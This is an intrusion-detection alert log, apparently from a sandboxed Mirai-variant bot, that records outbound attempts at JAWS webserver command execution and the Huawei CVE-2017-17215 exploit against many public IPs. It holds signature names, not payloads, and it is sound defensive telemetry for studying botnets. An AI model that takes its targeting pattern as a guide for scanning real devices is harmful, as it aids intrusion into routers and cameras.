2024-12-03T23:17:18.358195+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49128	95.38.48.223	80	TCP
2024-12-03T23:17:18.546485+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59436	107.254.106.99	80	TCP
2024-12-03T23:17:18.546485+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59436	107.254.106.99	80	TCP
2024-12-03T23:17:18.593246+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45486	145.12.51.102	80	TCP
2024-12-03T23:17:18.593246+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45486	145.12.51.102	80	TCP
2024-12-03T23:17:18.593266+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57430	144.244.202.18	80	TCP
2024-12-03T23:17:18.593266+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57430	144.244.202.18	80	TCP
2024-12-03T23:17:18.593269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59776	2.68.142.1	80	TCP
2024-12-03T23:17:18.593269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59776	2.68.142.1	80	TCP
2024-12-03T23:17:18.593389+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51090	98.46.105.144	80	TCP
2024-12-03T23:17:18.593389+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51090	98.46.105.144	80	TCP
2024-12-03T23:17:18.593510+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43788	113.67.108.3	80	TCP
2024-12-03T23:17:18.593510+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43788	113.67.108.3	80	TCP
2024-12-03T23:17:18.593515+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54098	51.31.14.4	80	TCP
2024-12-03T23:17:18.593515+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54098	51.31.14.4	80	TCP
2024-12-03T23:17:18.593646+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39860	83.114.35.247	80	TCP
2024-12-03T23:17:18.593646+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39860	83.114.35.247	80	TCP
2024-12-03T23:17:18.593780+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56658	84.216.136.52	80	TCP
2024-12-03T23:17:18.593780+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56658	84.216.136.52	80	TCP
2024-12-03T23:17:18.593916+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49788	12.231.107.108	80	TCP
2024-12-03T23:17:18.593916+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49788	12.231.107.108	80	TCP
2024-12-03T23:17:18.595019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40986	129.72.45.47	80	TCP
2024-12-03T23:17:18.595019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40986	129.72.45.47	80	TCP
2024-12-03T23:17:18.602199+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38996	155.188.236.83	80	TCP
2024-12-03T23:17:18.602199+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38996	155.188.236.83	80	TCP
2024-12-03T23:17:18.602363+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38400	95.165.95.255	80	TCP
2024-12-03T23:17:18.602363+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38400	95.165.95.255	80	TCP
2024-12-03T23:17:18.602367+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40134	57.139.237.152	80	TCP
2024-12-03T23:17:18.602367+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40134	57.139.237.152	80	TCP
2024-12-03T23:17:18.602493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54538	113.149.205.76	80	TCP
2024-12-03T23:17:18.602493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54538	113.149.205.76	80	TCP
2024-12-03T23:17:18.633762+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57380	66.32.129.43	80	TCP
2024-12-03T23:17:18.633762+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57380	66.32.129.43	80	TCP
2024-12-03T23:17:19.342341+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35038	41.87.30.134	37215	TCP
2024-12-03T23:17:19.357007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47764	156.0.134.95	37215	TCP
2024-12-03T23:17:19.372476+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42246	197.237.65.75	37215	TCP
2024-12-03T23:17:19.372559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42716	197.215.236.202	37215	TCP
2024-12-03T23:17:19.372707+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47618	197.189.24.78	37215	TCP
2024-12-03T23:17:19.381923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50438	197.78.119.56	37215	TCP
2024-12-03T23:17:19.382044+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40708	156.48.134.66	37215	TCP
2024-12-03T23:17:19.382253+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36864	156.17.245.165	37215	TCP
2024-12-03T23:17:19.382375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46686	197.157.34.149	37215	TCP
2024-12-03T23:17:19.387783+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48674	41.63.137.244	37215	TCP
2024-12-03T23:17:19.387893+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56932	41.76.137.36	37215	TCP
2024-12-03T23:17:19.388030+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50768	156.41.191.74	37215	TCP
2024-12-03T23:17:19.397188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45550	197.68.104.92	37215	TCP
2024-12-03T23:17:19.403662+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39916	41.63.158.240	37215	TCP
2024-12-03T23:17:19.403766+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39432	41.116.81.247	37215	TCP
2024-12-03T23:17:19.403949+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51246	41.19.18.139	37215	TCP
2024-12-03T23:17:19.419213+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55390	184.91.46.132	80	TCP
2024-12-03T23:17:19.419213+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55390	184.91.46.132	80	TCP
2024-12-03T23:17:19.419342+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47838	170.130.35.173	80	TCP
2024-12-03T23:17:19.419342+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47838	170.130.35.173	80	TCP
2024-12-03T23:17:19.419427+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53984	185.139.205.4	80	TCP
2024-12-03T23:17:19.419427+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53984	185.139.205.4	80	TCP
2024-12-03T23:17:19.419562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42338	157.94.111.12	80	TCP
2024-12-03T23:17:19.419562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42338	157.94.111.12	80	TCP
2024-12-03T23:17:19.419662+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39882	156.112.195.101	37215	TCP
2024-12-03T23:17:19.428344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48906	156.8.192.184	37215	TCP
2024-12-03T23:17:19.428455+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59396	197.84.129.212	37215	TCP
2024-12-03T23:17:19.439520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32776	41.222.2.131	37215	TCP
2024-12-03T23:17:19.444033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35458	156.10.152.79	37215	TCP
2024-12-03T23:17:19.444045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39056	41.150.245.66	37215	TCP
2024-12-03T23:17:19.444147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42804	41.121.213.165	37215	TCP
2024-12-03T23:17:19.444231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48224	41.112.130.195	37215	TCP
2024-12-03T23:17:19.459551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60420	156.98.201.36	37215	TCP
2024-12-03T23:17:19.459761+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36796	156.66.157.15	37215	TCP
2024-12-03T23:17:19.459794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44718	197.142.165.222	37215	TCP
2024-12-03T23:17:19.466087+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51764	36.206.184.29	80	TCP
2024-12-03T23:17:19.466087+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51764	36.206.184.29	80	TCP
2024-12-03T23:17:19.475333+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33902	41.56.90.100	37215	TCP
2024-12-03T23:17:19.497304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35672	54.36.196.205	80	TCP
2024-12-03T23:17:19.497304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35672	54.36.196.205	80	TCP
2024-12-03T23:17:19.497446+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36786	162.32.100.214	80	TCP
2024-12-03T23:17:19.497446+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36786	162.32.100.214	80	TCP
2024-12-03T23:17:19.506536+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42604	85.134.54.55	80	TCP
2024-12-03T23:17:19.506536+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42604	85.134.54.55	80	TCP
2024-12-03T23:17:19.506654+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51602	126.230.82.208	80	TCP
2024-12-03T23:17:19.506654+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51602	126.230.82.208	80	TCP
2024-12-03T23:17:19.506839+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51146	118.197.22.2	80	TCP
2024-12-03T23:17:19.506839+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51146	118.197.22.2	80	TCP
2024-12-03T23:17:19.522100+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40738	40.102.184.170	80	TCP
2024-12-03T23:17:19.522100+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40738	40.102.184.170	80	TCP
2024-12-03T23:17:19.624473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34264	41.91.169.5	37215	TCP
2024-12-03T23:17:19.624574+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36186	197.28.130.214	37215	TCP
2024-12-03T23:17:19.669175+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38360	160.213.170.54	80	TCP
2024-12-03T23:17:19.669175+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38360	160.213.170.54	80	TCP
2024-12-03T23:17:19.678200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38572	115.68.158.75	80	TCP
2024-12-03T23:17:19.678200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38572	115.68.158.75	80	TCP
2024-12-03T23:17:19.678349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42288	156.17.134.152	37215	TCP
2024-12-03T23:17:19.678465+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42010	41.63.89.134	37215	TCP
2024-12-03T23:17:19.678515+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44124	37.163.200.224	80	TCP
2024-12-03T23:17:19.678515+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44124	37.163.200.224	80	TCP
2024-12-03T23:17:19.715852+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59980	212.185.60.209	80	TCP
2024-12-03T23:17:19.715852+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59980	212.185.60.209	80	TCP
2024-12-03T23:17:19.725246+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36856	209.198.232.114	80	TCP
2024-12-03T23:17:19.725246+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36856	209.198.232.114	80	TCP
2024-12-03T23:17:19.725287+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46630	135.59.238.174	80	TCP
2024-12-03T23:17:19.725287+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46630	135.59.238.174	80	TCP
2024-12-03T23:17:19.787828+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43308	43.138.98.219	80	TCP
2024-12-03T23:17:19.787828+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43308	43.138.98.219	80	TCP
2024-12-03T23:17:20.497402+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52140	41.94.254.95	37215	TCP
2024-12-03T23:17:20.497506+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58420	41.0.163.33	37215	TCP
2024-12-03T23:17:20.512848+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54998	41.41.166.255	37215	TCP
2024-12-03T23:17:20.512928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60686	41.61.7.122	37215	TCP
2024-12-03T23:17:20.544216+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59090	197.120.168.26	37215	TCP
2024-12-03T23:17:20.544340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38510	197.252.111.35	37215	TCP
2024-12-03T23:17:20.544413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33494	197.28.20.71	37215	TCP
2024-12-03T23:17:20.544512+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37410	197.173.168.240	37215	TCP
2024-12-03T23:17:20.544618+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55056	17.75.92.142	80	TCP
2024-12-03T23:17:20.544618+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55056	17.75.92.142	80	TCP
2024-12-03T23:17:20.575265+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38322	168.255.195.130	80	TCP
2024-12-03T23:17:20.575265+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38322	168.255.195.130	80	TCP
2024-12-03T23:17:20.575364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58302	217.213.200.52	80	TCP
2024-12-03T23:17:20.575364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58302	217.213.200.52	80	TCP
2024-12-03T23:17:20.575507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54570	156.127.111.169	37215	TCP
2024-12-03T23:17:20.575610+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52450	197.180.77.160	37215	TCP
2024-12-03T23:17:20.584664+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41074	197.239.247.108	37215	TCP
2024-12-03T23:17:20.600407+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55370	37.84.242.207	80	TCP
2024-12-03T23:17:20.600407+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55370	37.84.242.207	80	TCP
2024-12-03T23:17:20.600436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49228	197.239.234.135	37215	TCP
2024-12-03T23:17:20.600492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43506	41.151.195.8	37215	TCP
2024-12-03T23:17:20.600715+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42572	156.139.214.50	37215	TCP
2024-12-03T23:17:20.600859+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42810	32.141.226.135	80	TCP
2024-12-03T23:17:20.600859+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42810	32.141.226.135	80	TCP
2024-12-03T23:17:20.606578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54052	197.124.106.211	37215	TCP
2024-12-03T23:17:20.616007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53020	197.127.223.126	37215	TCP
2024-12-03T23:17:20.622734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48226	41.93.144.3	37215	TCP
2024-12-03T23:17:20.647929+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50704	133.59.235.96	80	TCP
2024-12-03T23:17:20.647929+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50704	133.59.235.96	80	TCP
2024-12-03T23:17:20.669076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47476	41.110.222.59	37215	TCP
2024-12-03T23:17:20.669189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59350	197.189.28.16	37215	TCP
2024-12-03T23:17:20.709716+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42602	41.46.47.242	37215	TCP
2024-12-03T23:17:20.709876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42732	41.52.167.166	37215	TCP
2024-12-03T23:17:21.606864+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51836	44.54.106.30	80	TCP
2024-12-03T23:17:21.606864+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51836	44.54.106.30	80	TCP
2024-12-03T23:17:21.606867+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41014	93.183.67.205	80	TCP
2024-12-03T23:17:21.606867+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41014	93.183.67.205	80	TCP
2024-12-03T23:17:21.615841+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42602	45.62.206.174	80	TCP
2024-12-03T23:17:21.615841+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42602	45.62.206.174	80	TCP
2024-12-03T23:17:21.615990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44672	17.1.77.154	80	TCP
2024-12-03T23:17:21.615990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44672	17.1.77.154	80	TCP
2024-12-03T23:17:21.616079+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48360	111.10.89.106	80	TCP
2024-12-03T23:17:21.616079+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48360	111.10.89.106	80	TCP
2024-12-03T23:17:21.620372+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54626	77.159.194.220	80	TCP
2024-12-03T23:17:21.620372+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54626	77.159.194.220	80	TCP
2024-12-03T23:17:21.622247+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56650	208.190.180.0	80	TCP
2024-12-03T23:17:21.622247+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56650	208.190.180.0	80	TCP
2024-12-03T23:17:21.622366+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39002	120.0.131.100	80	TCP
2024-12-03T23:17:21.622366+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39002	120.0.131.100	80	TCP
2024-12-03T23:17:21.622452+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52186	159.14.248.206	80	TCP
2024-12-03T23:17:21.622452+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52186	159.14.248.206	80	TCP
2024-12-03T23:17:21.622647+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37212	86.26.128.168	80	TCP
2024-12-03T23:17:21.622647+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37212	86.26.128.168	80	TCP
2024-12-03T23:17:21.622791+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49122	148.254.32.247	80	TCP
2024-12-03T23:17:21.622791+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49122	148.254.32.247	80	TCP
2024-12-03T23:17:21.622860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40496	20.187.81.36	80	TCP
2024-12-03T23:17:21.622860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40496	20.187.81.36	80	TCP
2024-12-03T23:17:21.623009+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55964	132.135.3.200	80	TCP
2024-12-03T23:17:21.623009+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55964	132.135.3.200	80	TCP
2024-12-03T23:17:21.631344+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42562	169.72.148.55	80	TCP
2024-12-03T23:17:21.631344+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42562	169.72.148.55	80	TCP
2024-12-03T23:17:21.631548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58540	104.72.84.160	80	TCP
2024-12-03T23:17:21.631548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58540	104.72.84.160	80	TCP
2024-12-03T23:17:21.631689+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46536	13.14.252.173	80	TCP
2024-12-03T23:17:21.631689+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46536	13.14.252.173	80	TCP
2024-12-03T23:17:21.631812+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55474	106.225.210.158	80	TCP
2024-12-03T23:17:21.631812+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55474	106.225.210.158	80	TCP
2024-12-03T23:17:21.631887+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56030	57.229.219.125	80	TCP
2024-12-03T23:17:21.631887+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56030	57.229.219.125	80	TCP
2024-12-03T23:17:21.632010+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54968	190.73.255.206	80	TCP
2024-12-03T23:17:21.632010+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54968	190.73.255.206	80	TCP
2024-12-03T23:17:21.649172+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54426	146.133.236.255	80	TCP
2024-12-03T23:17:21.649172+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54426	146.133.236.255	80	TCP
2024-12-03T23:17:21.662801+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45104	147.157.58.101	80	TCP
2024-12-03T23:17:21.662801+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45104	147.157.58.101	80	TCP
2024-12-03T23:17:21.663013+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39558	72.215.35.32	80	TCP
2024-12-03T23:17:21.663013+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39558	72.215.35.32	80	TCP
2024-12-03T23:17:21.663040+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45418	118.50.187.0	80	TCP
2024-12-03T23:17:21.663040+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45418	118.50.187.0	80	TCP
2024-12-03T23:17:21.663132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59858	60.87.131.161	80	TCP
